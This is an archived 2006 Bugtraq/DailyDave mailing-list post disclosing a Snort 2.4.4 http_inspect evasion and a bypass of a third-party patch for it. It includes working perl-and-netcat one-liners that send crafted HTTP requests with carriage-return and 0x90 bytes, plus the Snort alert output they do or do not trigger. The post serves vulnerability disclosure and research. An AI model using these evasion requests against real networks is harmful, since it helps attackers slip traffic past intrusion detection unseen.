lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 01 Jun 2006 22:26:59 -0700
From: Sigint Consulting <info@...int-consulting.com>
To: dailydave@...ts.immunitysec.com
Cc: bugtraq@...urityfocus.com
Subject: New Snort Bypass - Patch - Bypass of Patch


There was a Snort evasion bug posted on BugTraq today
http://www.securityfocus.com/archive/1/435600/30/0/threaded

This attack will not show up in alert file at all
perl -e 'print "GET \x90\x90\x0d http/1.0\r\n\r\n"'|nc 192.168.1.3 80

Notice the \x0d CR character (\r) above.

The following will show up in alert as 'BARE BYTE UNICODE ENCODING'
perl -e 'print "GET \x90\x90 http/1.0\r\n\r\n"'|nc 192.168.1.3 80
Notice no \x0d CR character above.

We have confirmed it on a Debian box, Snort 2.4.4 Build 28. I have
applied the Demarc patch found here
http://www.demarc.com/files/patch_20060531/snort-2.4.4-demarc-patch.diff

There patch appears to work at first glance generating this error in
'alert':

[**] [119:2:1] (http_inspect) DOUBLE DECODING ATTACK [**]
06/03-15:19:04.185301 192.168.1.4:58107 -> 192.168.1.3:80
TCP TTL:64 TOS:0x0 ID:13064 IpLen:20 DgmLen:72 DF
***AP*** Seq: 0x306F2919  Ack: 0x40DA48CC  Win: 0x5B4  TcpLen: 32
TCP Options (3) => NOP NOP TS: 21436964 36363323

However we can once again bypass this by including our CR character
before our string like so:

perl -e 'print "GET \x0d/index.php\x90\x90 HTTP/1.0\n\r\n"'|nc
192.168.1.3 80

No alert is generated from the string above.

If we change the above to not include the \x0d CR character snort with
the demarc patch will generate an error:

perl -e 'print "GET /index.php\x90\x90 HTTP/1.0\n\r\n"'|nc 192.168.1.3
80

[**] [119:4:1] (http_inspect) BARE BYTE UNICODE ENCODING [**]
06/03-15:21:50.872878 192.168.1.4:58117 -> 192.168.1.3:80
TCP TTL:64 TOS:0x0 ID:33947 IpLen:20 DgmLen:80 DF
***AP*** Seq: 0x3A1121F3  Ack: 0x4ADDCB4A  Win: 0x5B4  TcpLen: 32
TCP Options (3) => NOP NOP TS: 21603698 36530036

(notice the error is BARE BYTE UNICODE ENCODING not DOUBLE DECODING
ATTACK)

We are not sure how much this may buy an attacker as the CR character
may mess up any requests to the webserver, further research is needed
on this. As the Demarc advisory states there may be more impacts to
this bug that will come out in time. Kudos to Demarc for finding this
bug.

Chris
www.sigint-consulting.com
info@...int-consulting.com






Powered by blists - more mailing lists